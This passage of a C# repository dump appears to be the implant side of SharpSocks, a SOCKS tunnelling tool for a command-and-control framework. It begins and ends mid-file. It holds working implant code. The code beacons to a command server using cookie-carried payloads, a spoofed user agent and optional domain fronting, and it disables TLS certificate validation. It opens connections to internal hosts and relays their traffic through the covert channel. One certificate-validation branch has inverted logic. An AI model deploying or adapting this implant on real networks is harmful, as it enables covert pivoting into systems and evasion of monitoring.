sb.Append(x); 26 | if (!(x.EndsWith("."))) 27 | sb.AppendLine(". "); 28 | }); 29 | throw new Exception(sb.ToString()); 30 | } 31 | 32 | public void FailError(String error) 33 | { 34 | _implantComms.FailError(error, Guid.Empty); 35 | throw new Exception(error); 36 | } 37 | 38 | public void LogError(List errors) 39 | { 40 | var sb = new StringBuilder(); 41 | errors.ForEach(x => 42 | { 43 | sb.AppendLine(x); 44 | }); 45 | _implantComms.LogError(sb.ToString()); 46 | } 47 | 48 | public void LogError(String error) 49 | { 50 | _implantComms.LogError(error); 51 | } 52 | 53 | public void LogVerboseError(String error) 54 | { 55 | if (VerboseErrors) 56 | _implantComms.LogError(error); 57 | } 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Extensions/WebClientEx.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | 4 | namespace SocksProxy.Classes.Extensions 5 | { 6 | public class WebClientEx : WebClient 7 | { 8 | readonly string DEFAULTUSERAGENT = @"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36"; 9 | bool _InsecureSSL; 10 | String frontingDomain; 11 | public bool AutoRedirect { get; set; } 12 | public HttpStatusCode StatusCode { get; set; } 13 | public long ElapsedTime { get; set; } 14 | string _userAgent = null; 15 | public string UserAgent { 16 | get { 17 | if (String.IsNullOrWhiteSpace(_userAgent)) 18 | return DEFAULTUSERAGENT; 19 | else 20 | return _userAgent; 21 | } 22 | set { _userAgent = value; } 23 | } 24 | 25 | public WebClientEx(CookieContainer container) 26 | { 27 | this.container = container; 28 | AutoRedirect = true; 29 | } 30 | 31 | public WebClientEx(CookieContainer container, bool InsecureSSL = true) 32 | { 33 | this.container = container; 34 | _InsecureSSL = InsecureSSL; 35 | AutoRedirect = true; 36 | } 37 | 38 | public WebClientEx(CookieContainer container, String FrontingDomain, bool InsecureSSL = true) 39 | { 40 | this.container = container; 41 | _InsecureSSL = InsecureSSL; 42 | AutoRedirect = true; 43 | frontingDomain = FrontingDomain; 44 | } 45 | 46 | public WebClientEx(bool InsecureSSL) 47 | { 48 | _InsecureSSL = InsecureSSL; 49 | AutoRedirect = true; 50 | } 51 | 52 | public CookieContainer CookieContainer 53 | { 54 | get { return container; } 55 | set { container = value; } 56 | } 57 | 58 | private CookieContainer container = new CookieContainer(); 59 | 60 | protected override WebRequest GetWebRequest(Uri address) 61 | { 62 | WebRequest r = base.GetWebRequest(address); 63 | 64 | ((HttpWebRequest)r).AllowAutoRedirect = AutoRedirect; 65 | ((HttpWebRequest)r).ServicePoint.Expect100Continue = false; 66 | ((HttpWebRequest)r).ServicePoint.ConnectionLimit = 150; 67 | ((HttpWebRequest)r).UserAgent = UserAgent; 68 | 69 | var request = r as HttpWebRequest; 70 | if (!_InsecureSSL) 71 | ServicePointManager.ServerCertificateValidationCallback = (z, y, x, w) => { return true; }; 72 | 73 | if (request != null) 74 | request.CookieContainer = container; 75 | return r; 76 | } 77 | 78 | protected override WebResponse GetWebResponse(WebRequest request, IAsyncResult result) 79 | { 80 | 81 | var response = (HttpWebResponse)base.GetWebResponse(request, result); 82 | ReadCookies(response); 83 | StatusCode = response.StatusCode; 84 | return response; 85 | } 86 | 87 | protected override WebResponse GetWebResponse(WebRequest request) 88 | { 89 | try 90 | { 91 | var response = (HttpWebResponse)base.GetWebResponse(request); 92 | ReadCookies(response); 93 | StatusCode = response.StatusCode; 94 | return response; 95 | } 96 | catch (Exception ex) 97 | { 98 | throw ex; 99 | } 100 | } 101 | 102 | private void ReadCookies(WebResponse r) 103 | { 104 | if (r is HttpWebResponse response) 105 | { 106 | CookieCollection cookies = response.Cookies; 107 | container.Add(cookies); 108 | } 109 | } 110 | } 111 | } 112 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Helpers/LogToConsole.cs: -------------------------------------------------------------------------------- 1 | using ImplantSide.Interfaces; 2 | using System; 3 | using System.CodeDom; 4 | using System.CodeDom.Compiler; 5 | using System.IO; 6 | using System.Linq; 7 | using System.Text; 8 | 9 | 10 | namespace ImplantSide.Classes.Helpers 11 | { 12 | public class LogToConsole : IImplantLog 13 | { 14 | bool _verbose = false; 15 | public void LogError(String errorMesg) { Console.WriteLine($"[{DateTime.Now}][X]: {errorMesg}"); } 16 | public void LogMessage(String mesg) { Console.WriteLine($"[{DateTime.Now}][!]: {mesg}"); } 17 | 18 | public bool FailError(String mesg, Guid ErrorCode) 19 | { 20 | Console.WriteLine($"[{DateTime.Now}][X] Error Code: {ErrorCode} + Message: {mesg} "); 21 | throw new Exception($"{mesg}"); 22 | } 23 | 24 | public void BannerMesg(String mesg) 25 | { 26 | Console.WriteLine(mesg); 27 | } 28 | 29 | public void HexDump(byte[] data, int width = 16) 30 | { 31 | var ctr = 0; 32 | data.Select((b, i) => new { Byte = b, Index = i }) 33 | .GroupBy(o => o.Index / width) 34 | .Select(g => 35 | g 36 | .Aggregate( 37 | new { Hex = new StringBuilder(), Chars = new StringBuilder() }, 38 | (a, o) => { a.Hex.AppendFormat("{0:X2} ", o.Byte); a.Chars.Append(Convert.ToChar(o.Byte)); return a; }, 39 | a => new { Index = (ctr++ * width).ToString("X4"), Hex = a.Hex.ToString(), Chars = a.Chars.ToString() } 40 | ) 41 | ) 42 | .ToList().ForEach(y => 43 | { 44 | Console.WriteLine($"{y.Index} {y.Hex.ToString().ToLower()} {ToLiteral(y.Chars)}"); 45 | }); 46 | } 47 | 48 | static string ToLiteral(string input) 49 | { 50 | using (var writer = new StringWriter()) 51 | { 52 | using (var provider = CodeDomProvider.CreateProvider("CSharp")) 53 | { 54 | provider.GenerateCodeFromExpression(new CodePrimitiveExpression(input), writer, null); 55 | var result = writer.ToString(); 56 | result = result.Replace("\"", ""); 57 | var chars = result.ToCharArray(); 58 | var sb = new StringBuilder(); 59 | for (var i = 0; i < chars.Length; i++) 60 | { 61 | if ((((i + 1) < chars.Length)) && (chars[i] == '\\' && Char.IsLetter(chars[i + 1]))) 62 | { 63 | sb.Append(chars[i++]); 64 | sb.Append(chars[i]); 65 | } 66 | else 67 | { 68 | sb.Append(" "); 69 | sb.Append(chars[i]); 70 | } 71 | } 72 | 73 | return sb.ToString(); 74 | } 75 | } 76 | } 77 | 78 | public void SetVerboseOn() { _verbose = true; } 79 | public void SetVerboseOff() { _verbose = false; } 80 | public bool IsVerboseOn() { return _verbose; } 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Helpers/WebExceptionAnalyzer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | 4 | 5 | namespace ImplantSide.Classes.Helpers 6 | { 7 | public static class WebExceptionAnalyzer 8 | { 9 | //This checks to see if it is worth attempting to recover from the exception that has been thrown by resending 10 | public static bool IsTransient(Exception ex) 11 | { 12 | var webException = ex as System.Net.WebException; 13 | if (webException != null) 14 | { 15 | // If the web exception contains one of the following status values 16 | // it may be transient. 17 | if (new[] {System.Net.WebExceptionStatus.ConnectionClosed, 18 | System.Net.WebExceptionStatus.Timeout, 19 | System.Net.WebExceptionStatus.RequestCanceled, 20 | System.Net.WebExceptionStatus.ReceiveFailure, 21 | }.Contains(webException.Status)) 22 | { 23 | return true; 24 | } 25 | } 26 | return false; 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Integration/PoshCreateProxy.cs: -------------------------------------------------------------------------------- 1 | using Common.Encryption.SimpleEncryptor; 2 | using ImplantSide.Classes; 3 | using ImplantSide.Classes.Socks; 4 | using ImplantSide.Interfaces; 5 | using System; 6 | using System.Collections.Generic; 7 | using System.Linq; 8 | using System.Net; 9 | using System.Security; 10 | using System.Text; 11 | using System.Threading.Tasks; 12 | 13 | namespace SocksProxy.Classes.Integration 14 | { 15 | public static class PoshCreateProxy 16 | { 17 | 18 | public static SocksController CreateSocksController(Uri serverUri, String commandChannelId, String HostHeader, String userAgent, SecureString key, List urlPaths, String sessionCookieName, String payloadCookieName, IWebProxy wbProxy = null, short beaconTime = 5000, IImplantLog implantcomms = null, bool insecureSSL = true) 19 | { 20 | //Increase the number of possible Remote Connections to the one host 21 | ServicePointManager.DefaultConnectionLimit = 150; 22 | IImplantLog icomms = implantcomms ?? new PoshDefaultImplantComms(); 23 | var config = new SocksClientConfiguration 24 | { 25 | CommandChannelSessionId = commandChannelId, 26 | BeaconTime = beaconTime, 27 | UserAgent = userAgent, 28 | CommandServerUI = serverUri, 29 | UseProxy = (null != wbProxy), 30 | WebProxy = wbProxy, 31 | URLPaths = urlPaths, 32 | ImplantComms = icomms, 33 | HostHeader = HostHeader, 34 | PayloadCookieName = payloadCookieName, 35 | SessionCookieName = sessionCookieName, 36 | //By Default SSL Validation is disabled this is to aid intitial testing 37 | //of the deployed infrastructure before a Production Release. 38 | //It is reccomended that this is enabled before deploying to a full Scenario. 39 | InsecureSSL = insecureSSL 40 | }; 41 | 42 | if (null == key) 43 | throw new Exception("Encryption key is null"); 44 | 45 | var socks = new SocksController(config) 46 | { 47 | Encryptor = new DebugSimpleEncryptor(key), 48 | ImplantComms = icomms 49 | }; 50 | socks.Initialize(); 51 | return socks; 52 | } 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Integration/PoshDefaultImplantComms.cs: -------------------------------------------------------------------------------- 1 | using ImplantSide.Interfaces; 2 | using System; 3 | using System.Collections.Generic; 4 | 5 | namespace SocksProxy.Classes.Integration 6 | { 7 | public class PoshDefaultImplantComms : IImplantLog 8 | { 9 | bool _verbose = false; 10 | public Action _LogError { get; set; } 11 | public Action _LogMessage { get; set; } 12 | public Func _FailError { get; set; } 13 | public Action _BannerMesg { get; set; } 14 | 15 | public void LogError(String errorMesg) 16 | { 17 | _LogError?.Invoke(errorMesg); 18 | } 19 | 20 | public void LogMessage(String mesg) 21 | { 22 | _LogMessage?.Invoke(mesg); 23 | } 24 | 25 | public bool FailError(String mesg, Guid ErrorCode) 26 | { 27 | if (null != _FailError) 28 | return _FailError(mesg, ErrorCode); 29 | else 30 | return false; 31 | } 32 | 33 | public void BannerMesg(String mesg) 34 | { 35 | _BannerMesg?.Invoke(mesg); 36 | } 37 | 38 | public void SetVerboseOn() { _verbose = true; } 39 | public void SetVerboseOff() { _verbose = false; } 40 | public bool IsVerboseOn() { return _verbose; } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Logging/DebugFileLogging.cs: -------------------------------------------------------------------------------- 1 | using ImplantSide.Interfaces; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace SharpSocksServer.ServerComms 10 | { 11 | public class DebugFileLog : IImplantLog 12 | { 13 | String FileName = null; 14 | public String LogFilePath { get { return FileName; } } 15 | object _locker = new object(); 16 | 17 | public DebugFileLog() 18 | { 19 | var LogPath = Path.GetTempPath(); 20 | 21 | if (!Directory.Exists(LogPath)) 22 | throw new Exception($"ERROR: Log directory {LogPath} does not exist"); 23 | 24 | FileName = Path.Combine(LogPath, $"SharpSocks_Log_{DateTime.Now.ToString("yyyy-dd-M--HH-mm-ss")}.txt"); 25 | } 26 | 27 | public DebugFileLog(String LogPath) 28 | { 29 | if (!Directory.Exists(LogPath)) 30 | throw new Exception($"ERROR: Log directory {LogPath} does not exist"); 31 | 32 | FileName = Path.Combine(LogPath, $"SharpSocks_Log_{DateTime.Now.ToString("yyyy-dd-M--HH-mm-ss")}.txt"); 33 | } 34 | bool _verbose = false; 35 | 36 | void WriteToFile(String text) 37 | { 38 | lock (_locker) 39 | { 40 | Stream logfile = null; 41 | try 42 | { 43 | if (!File.Exists(FileName)) 44 | logfile = File.Open(FileName, FileMode.OpenOrCreate, FileAccess.Write); 45 | else 46 | logfile = File.Open(FileName, FileMode.Append, FileAccess.ReadWrite); 47 | 48 | using (var sw = new StreamWriter(logfile)) 49 | { 50 | sw.WriteLine(text); 51 | } 52 | } 53 | catch (Exception ex) 54 | { 55 | throw new Exception($"ERROR: Unable to write to {FileName}: {ex.Message}"); 56 | } 57 | finally 58 | { 59 | if (null != logfile) 60 | { 61 | logfile.Close(); 62 | logfile = null; 63 | } 64 | } 65 | } 66 | } 67 | 68 | public void LogError(String errorMesg) 69 | { 70 | lock (_locker) 71 | { 72 | 73 | WriteToFile($"[{DateTime.Now}][X] {errorMesg}"); 74 | } 75 | } 76 | public void LogMessage(String mesg) 77 | { 78 | WriteToFile($"[{DateTime.Now}][!] {mesg}"); 79 | } 80 | 81 | public bool FailError(String mesg, Guid ErrorCode) 82 | { 83 | WriteToFile($"[{DateTime.Now}][X] Error Code: {ErrorCode} Message: {mesg} "); 84 | throw new Exception($"{mesg}"); 85 | } 86 | 87 | public void BannerMesg(String mesg) 88 | { 89 | Console.WriteLine(mesg); 90 | } 91 | 92 | public void SetVerboseOn() { _verbose = true; } 93 | public void SetVerboseOff() { _verbose = false; } 94 | public bool IsVerboseOn() { return _verbose; } 95 | } 96 | } 97 | 98 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Socks/SocksController.cs: -------------------------------------------------------------------------------- 1 | using Common.Classes.Encryption; 2 | using ImplantSide.Classes.Comms; 3 | using ImplantSide.Classes.Constants; 4 | using ImplantSide.Classes.ErrorHandler; 5 | using ImplantSide.Interfaces; 6 | using SocksProxy.Classes.Socks; 7 | using System; 8 | using System.Collections.Generic; 9 | 10 | 11 | namespace ImplantSide.Classes.Socks 12 | { 13 | public class SocksController 14 | { 15 | public IEncryptionHelper Encryptor { get; set; } 16 | public IImplantLog ImplantComms { get; set; } 17 | 18 | object _locker = new Object(); 19 | List _errorQueue = new List(); 20 | CommandChannelController _cmdChannel; 21 | CommandCommunicationHandler _cmdCommsHandler; 22 | SocksLoopController _sockLoopctrller; 23 | InternalErrorHandler _error; 24 | SocksClientConfiguration _config; 25 | 26 | public SocksController(SocksClientConfiguration config) 27 | { 28 | List mesg = new List(); 29 | if (config == null) 30 | throw new Exception("Config object is null"); 31 | if (config.CommandServerUI == null) 32 | mesg.Add("ProxyIP is null"); 33 | if (config.ImplantComms == null) 34 | throw new Exception("Implant callback is null"); 35 | 36 | _config = config; 37 | 38 | if (mesg.Count > 0) 39 | _error.LogError(mesg); 40 | } 41 | 42 | public string Initialize() 43 | { 44 | string pubKey = null; 45 | try 46 | { 47 | _error = new InternalErrorHandler(_config.ImplantComms); 48 | _cmdCommsHandler = new CommandCommunicationHandler(Encryptor, _config, _error) { ImplantComms = ImplantComms }; 49 | Int16 beaconTime = (_config.BeaconTime > 0) ? _config.BeaconTime : (short)400; 50 | _sockLoopctrller = new SocksLoopController(ImplantComms, _cmdCommsHandler, beaconTime) 51 | { 52 | Encryption = Encryptor, 53 | ErrorHandler = _error 54 | }; 55 | _cmdChannel = new CommandChannelController(_config.CommandChannel, _sockLoopctrller, _cmdCommsHandler, _error) { ImplantComms = ImplantComms }; 56 | } 57 | catch (Exception ex) 58 | { 59 | var mesg = new List 60 | { 61 | "Failed to derive server key", 62 | ex.Message 63 | }; 64 | _error.LogError(mesg); 65 | } 66 | return pubKey; 67 | } 68 | 69 | public bool SendViaImplant { get; set; } 70 | public bool SilentlyDie { get; set; } 71 | public STATUS Status { get; set; } 72 | 73 | public bool Start() 74 | { 75 | _cmdChannel.StartCommandLoop(this); 76 | return true; 77 | } 78 | 79 | public void StopProxyComms() //This is used by the command loop controller in case that it dies 80 | { 81 | _sockLoopctrller.StopAll(); 82 | } 83 | 84 | public void Stop() 85 | { 86 | _cmdChannel.StopCommandChannel(); 87 | _sockLoopctrller.StopAll(); 88 | } 89 | 90 | public void HARDStop() 91 | { 92 | _cmdChannel.StopCommandChannel(); 93 | _sockLoopctrller.HARDStopAll(); 94 | } 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Socks/SocksLoopController.cs: -------------------------------------------------------------------------------- 1 | using Common.Classes.Encryption; 2 | using ImplantSide.Classes.Comms; 3 | using ImplantSide.Classes.ErrorHandler; 4 | using ImplantSide.Classes.Target; 5 | using ImplantSide.Interfaces; 6 | using SharpSocksImplant.Classes.Socks; 7 | using System; 8 | using System.Collections.Generic; 9 | using System.Linq; 10 | using System.Net; 11 | using System.Threading; 12 | using System.Threading.Tasks; 13 | 14 | namespace SocksProxy.Classes.Socks 15 | { 16 | public class SocksLoopController 17 | { 18 | internal Dictionary _targets = new Dictionary(); 19 | public InternalErrorHandler ErrorHandler { get; set; } 20 | public IImplantLog ImplantComms { get; set; } 21 | public IEncryptionHelper Encryption { get; set; } 22 | public CommandCommunicationHandler CmdCommshandler { get; set; } 23 | public AutoResetEvent Timeout = new AutoResetEvent(false); 24 | public Int16 BeaconTime { get; set; } 25 | public Dictionary _mapTargetToCount = new Dictionary(); 26 | static SocksSocketComms socketComms; 27 | static List _socketCommsTasks = new List(); 28 | 29 | public SocksLoopController(IImplantLog icomms, CommandCommunicationHandler comms, Int16 beaconTime) 30 | { 31 | ImplantComms = icomms; 32 | CmdCommshandler = comms; 33 | BeaconTime = beaconTime; 34 | socketComms = new SocksSocketComms() { ImplantComms = ImplantComms, CmdCommshandler = comms, BeaconTime = beaconTime}; 35 | _socketCommsTasks.Add(Task.Factory.StartNew(() => socketComms.WriteToSocket(), TaskCreationOptions.LongRunning)); 36 | _socketCommsTasks.Add(Task.Factory.StartNew(() => socketComms.ReadFromSocket(), TaskCreationOptions.LongRunning)); 37 | _socketCommsTasks.Add(Task.Factory.StartNew(() => socketComms.SendToTarget(), TaskCreationOptions.LongRunning)); 38 | } 39 | 40 | public bool OpenNewConnectionToTarget(String targetId, String targetHost, ushort targetPort) 41 | { 42 | var target = new TargetInfo() { TargetId = targetId, TargetPort = targetPort, TargetHost = targetHost }; 43 | System.Net.Sockets.AddressFamily AF_TYPE = System.Net.Sockets.AddressFamily.InterNetwork; 44 | //Step 1. Open connection to target 45 | IPAddress targetIP = null; 46 | try 47 | { 48 | var hostNameType = Uri.CheckHostName(targetHost); 49 | switch (hostNameType) 50 | { 51 | case UriHostNameType.Dns: 52 | var iph = Dns.GetHostEntry(targetHost); 53 | if (null != iph && null != iph.AddressList) 54 | { 55 | var firstIP = iph.AddressList.First(); 56 | if (null != firstIP && !String.IsNullOrWhiteSpace(firstIP.ToString())) 57 | targetIP = firstIP; 58 | else 59 | { 60 | ErrorHandler.LogError($"Unable to resolve the host {targetHost}"); 61 | return false; 62 | } 63 | if (Uri.CheckHostName(targetIP.ToString()) == UriHostNameType.IPv6) 64 | AF_TYPE = System.Net.Sockets.AddressFamily.InterNetworkV6; 65 | } 66 | break; 67 | case UriHostNameType.IPv6: 68 | case UriHostNameType.IPv4: 69 | targetIP = IPAddress.Parse(targetHost); 70 | break; 71 | default: 72 | ErrorHandler.LogError($"Unable to resolve the host {targetHost}"); 73 | return false; 74 | } 75 | 76 | if (Uri.CheckHostName(targetIP.ToString()) == UriHostNameType.IPv6) 77 | AF_TYPE = System.Net.Sockets.AddressFamily.InterNetworkV6; ; 78 | 79 | target.TargetTcpClient = new System.Net.Sockets.TcpClient(AF_TYPE); 80 | target.TargetTcpClient.Connect(new System.Net.IPEndPoint(targetIP, targetPort)); 81 | if (!target.TargetTcpClient.Connected) 82 | return false; 83 | 84 | } 85 | catch (Exception ex) 86 | { 87 | var lst = new List 88 | { 89 | "Failed to create connection to " + targetIP.ToString() + " on port " + targetPort.ToString(), 90 | ex.Message 91 | }; 92 | ErrorHandler.LogError(lst); 93 | return false; 94 | } 95 | 96 | //Step 2. Start Proxy Loop 97 | target.ProxyLoop = new Task((g) => 98 | { 99 | try 100 | { 101 | ProxyLoop((String)g); 102 | } 103 | catch (Exception ex) 104 | { 105 | ErrorHandler.LogError($"Error in proxy loop: {ex.Message}"); 106 | 107 | if (null != target && null != target.TargetTcpClient) 108 | if (target.TargetTcpClient.Connected) 109 | target.TargetTcpClient.Close(); 110 | } 111 | }, targetId, TaskCreationOptions.LongRunning); 112 | 113 | _targets.Add(targetId, target); 114 | socketComms.AddTarget(targetId, target); 115 | target.ProxyLoop.Start(); 116 | return true; 117 | } 118 | 119 | bool ProxyLoop(String targetId) 120 | { 121 | List toSend = null; 122 | bool connectionHasFailed = false, connectionDead = false; 123 | TargetInfo target = null; 124 | _mapTargetToCount.Add(targetId, 1); 125 | var wait = new ManualResetEvent(false); 126 | try 127 | { 128 | target = _targets[targetId]; 129 | if (null == target) 130 | { 131 | ErrorHandler.LogError("Can't find target for GUID: " + targetId.ToString() + " exiting this proxy loop"); 132 | return true; 133 | } 134 | 135 | while (!target.Exit) 136 | { 137 | toSend = CmdCommshandler.Send(target, "nochange", null, out connectionDead); 138 | if (null == toSend || connectionDead) 139 | { 140 | ErrorHandler.LogError($"[{target.TargetId}] Connection looks dead EXITING"); 141 | return target.Exit = connectionDead; 142 | } 143 | else if (toSend.Count > 0 ) 144 | { 145 | target.WriteQueue.Enqueue(toSend); 146 | socketComms.SentData.Set(); 147 | _mapTargetToCount[targetId] = 1; 148 | } 149 | else 150 | if (_mapTargetToCount[targetId]++ == 2) 151 | ImplantComms.LogMessage($"[{target.TargetId}] Nothing received after sending request"); 152 | else 153 | ImplantComms.LogMessage($"[{target.TargetId}] Nothing received after sending request({_mapTargetToCount[targetId]})"); 154 | wait.WaitOne(BeaconTime); 155 | } 156 | return true; 157 | } 158 | catch(Exception ex) 159 | { 160 | ErrorHandler.LogError($"[{target.TargetId}] ERROR: {target.TargetTcpClient.Client.RemoteEndPoint.ToString()} {ex.Message}"); 161 | if (null != target && null != target.TargetTcpClient) 162 | if (target.TargetTcpClient.Connected) 163 | target.TargetTcpClient.Close(); 164 | else 165 | ErrorHandler.LogError($"[{target.TargetId}] Target is null {target == null} & target.TargetTcpClient is null {target.TargetTcpClient == null} "); 166 | } 167 | finally 168 | { 169 | if (null != target && null != target.TargetTcpClient) 170 | if (target.TargetTcpClient.Connected) 171 | target.TargetTcpClient.Close(); 172 | 173 | if (!connectionHasFailed) 174 | CmdCommshandler.Send(target, "closed", null, out connectionDead); 175 | } 176 | target.Exit = true; 177 | return true; 178 | } 179 | 180 | public void StopAll() 181 | { 182 | ImplantComms.LogMessage($"Shutdown all connections triggered"); 183 | _targets.Keys.ToList().ForEach(x => { 184 | Stop(x); 185 | }); 186 | } 187 | 188 | public void Stop(String targetId) 189 | { 190 | var target = _targets[targetId]; 191 | ImplantComms.LogMessage($"Closing connection to {target.TargetHost}:{target.TargetPort}"); 192 | if (null != target) 193 | { 194 | target.Exit = true; 195 | } 196 | } 197 | 198 | public void HARDStopAll() 199 | { 200 | ImplantComms.LogMessage($"HARD STOP ALL TRIGGERED"); 201 | _targets.Keys.ToList().ForEach(x => { 202 | HARDStop(x); 203 | }); 204 | } 205 | 206 | public bool HARDStop(String targetId) 207 | { 208 | var target = _targets[targetId]; 209 | ImplantComms.LogMessage($"HARD STOP ALL ON CONNECTION TO {target.TargetHost}:{target.TargetPort}"); 210 | if (null != target) 211 | { 212 | target.Exit = true; 213 | target.TargetTcpClient.Close(); 214 | return true; 215 | } 216 | else 217 | return false; 218 | } 219 | } 220 | } 221 | -------------------------------------------------------------------------------- /SocksLauncher/Classes/Socks/SocksSocketReader.cs: -------------------------------------------------------------------------------- 1 | using ImplantSide.Classes.Comms; 2 | using ImplantSide.Classes.Target; 3 | using ImplantSide.Interfaces; 4 | using System; 5 | using System.Collections.Concurrent; 6 | using System.Collections.Generic; 7 | using System.Linq; 8 | using System.Net.Sockets; 9 | using System.Threading; 10 | using System.Threading.Tasks; 11 | 12 | namespace SharpSocksImplant.Classes.Socks 13 | { 14 | public class SocksSocketComms 15 | { 16 | public IImplantLog ImplantComms { get; set; } 17 | public CancellationToken Cancel { get; private set; } 18 | public ManualResetEvent RecvedData { get; private set; } 19 | public ManualResetEvent SentData { get; private set; } 20 | public ConcurrentDictionary Targets {get; set;} 21 | public CommandCommunicationHandler CmdCommshandler { get; set; } 22 | public Int16 BeaconTime { get; set; } 23 | public Int32 TotalBytesRead { get; private set; } 24 | public Int32 TotalBytesWritten { get; private set; } 25 | ManualResetEvent _timeout = new ManualResetEvent(false); 26 | 27 | public SocksSocketComms() 28 | { 29 | Cancel = new CancellationToken(); 30 | RecvedData = new ManualResetEvent(false); 31 | SentData = new ManualResetEvent(true); 32 | Targets = new ConcurrentDictionary(); 33 | } 34 | 35 | public void AddTarget(String targetId, TargetInfo trgtinfo) 36 | { 37 | if (!Targets.ContainsKey(targetId)) 38 | Targets.TryAdd(targetId, trgtinfo); 39 | } 40 | 41 | public void RemoveTarget(String targetId) 42 | { 43 | if (Targets.ContainsKey(targetId)) 44 | Targets.TryRemove(targetId, out TargetInfo trgtinfo); 45 | } 46 | 47 | public void ReadFromSocket() 48 | { 49 | var arrayBuffer = new byte[512000]; 50 | var bytectr = 0; 51 | while (!Cancel.IsCancellationRequested) 52 | { 53 | foreach (var key in Targets.Keys) 54 | { 55 | TargetInfo trget = null; 56 | try 57 | { 58 | if (Targets.ContainsKey(key)) 59 | trget = Targets[key]; 60 | 61 | if (!trget.Exit) 62 | { 63 | var stream = trget.TargetTcpClient.GetStream(); 64 | if (Cancel.IsCancellationRequested || trget.Exit) 65 | return; 66 | 67 | if (IsConnected(trget.TargetTcpClient.Client)) 68 | { 69 | if (stream.CanRead && stream.DataAvailable) 70 | { 71 | int ctr = 0; 72 | bytectr = 0; 73 | do 74 | { 75 | var bytesRead = stream.Read(arrayBuffer, 0, 512000); 76 | bytectr += bytesRead; 77 | if (bytesRead > 0) 78 | { 79 | TotalBytesRead += bytesRead; 80 | trget.ReadQueue.Enqueue(arrayBuffer.Take(bytesRead).ToList()); 81 | } 82 | ctr++; 83 | } while (!_timeout.WaitOne(10) && stream.CanRead && stream.DataAvailable); 84 | if (ctr >= 1) 85 | { 86 | RecvedData.Set(); 87 | ImplantComms.LogMessage($"[{trget.TargetId}] Socks {trget.TargetTcpClient.Client.RemoteEndPoint.ToString()} read {bytectr} available bytes"); 88 | } 89 | } 90 | } 91 | else 92 | if (null != trget) 93 | trget.Exit = true; 94 | 95 | } 96 | } 97 | catch 98 | { 99 | if (null != trget) 100 | trget.Exit = true; 101 | } 102 | 103 | if (trget?.Exit ?? true ) 104 | { 105 | try { if (null != trget?.TargetTcpClient) trget.TargetTcpClient.Close(); } 106 | catch { /*Dont relly care if exception thrown here*/ } 107 | if (Targets.ContainsKey(key)) 108 | Targets.TryRemove(key, out TargetInfo tgexit); 109 | ImplantComms.LogMessage($"[{trget.TargetId}] Connection has been closed"); 110 | } 111 | } 112 | _timeout.WaitOne(100); 113 | } 114 | } 115 | 116 | public void WriteToSocket() 117 | { 118 | while (!Cancel.IsCancellationRequested) 119 | { 120 | SentData.WaitOne(-1); 121 | SentData.Reset(); 122 | foreach (var key in Targets.Keys) 123 | { 124 | TargetInfo trget = null; 125 | NetworkStream stream = null; 126 | try 127 | { 128 | if (Targets.ContainsKey(key)) 129 | trget = Targets[key]; 130 | 131 | if (null != trget && !trget.Exit) 132 | { 133 | stream = trget.TargetTcpClient.GetStream(); 134 | if (trget.WriteQueue.Count > 0) 135 | { 136 | var toSend = new List(); 137 | List pyld = null; 138 | while (trget.WriteQueue.Count() > 0) 139 | { 140 | trget.WriteQueue.TryDequeue(out pyld); 141 | if (pyld.Count > 0) 142 | toSend.AddRange(pyld); 143 | } 144 | if (IsConnected(trget.TargetTcpClient.Client)) 145 | { 146 | if (toSend != null && toSend.Count() > 0) 147 | { 148 | TotalBytesWritten += toSend.Count; 149 | stream.Write(toSend.ToArray(), 0, toSend.Count()); 150 | stream.Flush(); 151 | ImplantComms.LogMessage($"[{trget.TargetId}] Written {toSend.Count()} from client"); 152 | } 153 | } 154 | else 155 | if (null != trget) 156 | trget.Exit = true; 157 | } 158 | } 159 | } 160 | catch 161 | { 162 | if (null != trget) 163 | trget.Exit = true; 164 | } 165 | 166 | if (!trget?.TargetTcpClient?.Connected ?? false || (trget?.Exit ?? true)) 167 | { 168 | try { if (null != stream) stream.Close(); } 169 | catch { /*Dont relly care if exception thrown here*/ } 170 | 171 | try { if (null != trget?.TargetTcpClient) trget.TargetTcpClient.Close();} 172 | catch { /*Dont relly care if exception thrown here*/ } 173 | if (Targets.ContainsKey(key)) 174 | Targets.TryRemove(key, out TargetInfo tgexit); 175 | ImplantComms.LogMessage($"[{trget.TargetId}] Connection has been closed"); 176 | } 177 | } 178 | } 179 | } 180 | 181 | public void SendToTarget() 182 | { 183 | var SendWait = new ManualResetEvent(false); 184 | while (!Cancel.IsCancellationRequested) 185 | { 186 | RecvedData.WaitOne(-1); ; 187 | RecvedData.Reset(); 188 | foreach (var key in Targets.Keys) 189 | { 190 | TargetInfo trget = null; 191 | try 192 | { 193 | if (Targets.ContainsKey(key)) 194 | trget = Targets[key]; 195 | 196 | if (null != trget && !trget.Exit) 197 | { 198 | List readPyld = null; 199 | 200 | var payload = new List(); 201 | while (trget.ReadQueue.Count > 0) 202 | { 203 | trget.ReadQueue.TryDequeue(out readPyld); 204 | payload.AddRange(readPyld); 205 | } 206 | if (payload.Count > 0) 207 | { 208 | Task.Factory.StartNew(() => 209 | { 210 | List toSend = null; 211 | try 212 | { 213 | toSend = CmdCommshandler.Send(trget, "asyncUpload", payload, out bool connectionDead); 214 | ImplantComms.LogMessage($"[{trget.TargetId}] Received {toSend?.Count() ?? 0} bytes after sending {payload?.Count ?? 0 } bytes"); 215 | if (null == toSend || connectionDead) 216 | { 217 | ImplantComms.LogError($"[{trget.TargetId}] Connection looks dead EXITING"); 218 | trget.Exit = true; 219 | } 220 | else if (toSend.Count > 0) 221 | { 222 | trget.WriteQueue.Enqueue(toSend); 223 | SentData.Set(); 224 | } 225 | } 226 | catch 227 | { 